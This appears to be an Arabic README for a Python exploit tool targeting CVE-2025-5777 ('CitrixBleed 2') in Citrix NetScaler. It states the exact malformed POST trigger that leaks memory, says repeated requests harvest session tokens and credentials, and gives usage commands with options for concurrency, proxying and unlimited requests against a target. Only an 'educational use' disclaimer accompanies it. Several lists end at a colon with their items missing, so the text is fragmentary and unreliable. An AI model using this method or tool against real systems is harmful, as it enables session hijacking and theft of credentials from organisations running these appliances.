
استغلال بلغة Python لـ CVE-2025-5777 (CitrixBleed 2) تسرب الذاكرة في Citrix NetScaler. يرسل طلبات POST مشوهة لتسريب حوالي 127 بايت من ذاكرة الوصول العشوائي لكل طلب، مستخرجًا رموز الجلسة وبيانات الاعتماد وغيرها من البيانات الحساسة من الذاكرة غير المهيأة.
[!WARNING] هذا السكربت مخصص لأغراض تعليمية وبحثية فقط. لا تستخدمه ضد أنظمة دون إذن صريح. الوصول غير المصرح به أو الاختبار غير قانوني وغير أخلاقي. اقرأ إخلاء المسؤولية الكامل قبل استخدام هذا السكربت.
هذا المشروع يوضح ثغرة تسرب ذاكرة (CVE-2025-5777) تم اكتشافها في أجهزة Citrix NetScaler. تنشأ الثغرة من المعالجة غير السليمة للذاكرة غير المهيأة عند تحليل بيانات POST مشوهة، وخاصة معامل login. تُعرف على نطاق واسع باسم CitrixBleed 2 بسبب تشابهها الكبير مع CVE-2023-4966 الشهير (CitrixBleed الأصلي) الذي تم استغلاله بشكل مكثف في عام 2023
عند تضمين حقل login بدون علامة يساوي أو قيمة، يتم إرجاع جزء من ذاكرة المكدس غير المهيأة داخل وسم <InitialValue> في استجابة XML.

البيانات المسربة: يمكن لكل طلب HTTP تسريب حوالي 127 بايت من محتوى الذاكرة. من خلال تكرار هذه الطلبات، يمكن للمهاجمين جمع بيانات حساسة من الذاكرة، والتي قد تشمل:
pip3 install aiohttp colorama
python3 exploit.py <URL> [options]
positional arguments:
url Base URL (e.g., http://target.com)
optional arguments:
-h, --help Show help message
-v, --verbose Enable debug output
-p, --proxy PROXY HTTP proxy URL (e.g., http://127.0.0.1:8080)
-t, --threads N Number of concurrent threads (default: 10)
-d, --delay SECONDS Delay between request batches in seconds (default: 1.0)
--max-requests N Maximum number of requests to send (default: unlimited)
-e, --endpoints PATH Additional endpoints to test (can specify multiple)
--no-save Don't save data to files on exit
الاستخدام الأساسي:
python3 exploit.py http://target.com
وضع التفصيل مع بروكسي:
python3 exploit.py http://target.com -v -p http://127.0.0.1:8080
التزامن العالي مع تحديد معدل الطلبات:
python3 exploit.py http://target.com -t 20 -d 0.5
طلبات محدودة مع نقاط نهاية متعددة:
python3 exploit.py http://target.com --max-requests 1000 -e /p/u/doAuthentication.do /api/auth
المساعدة:
python3 exploit.py -h
هذه النسخة المحسّنة تتضمن:
هذا السكربت المتقدم بلغة Python:
<InitialValue>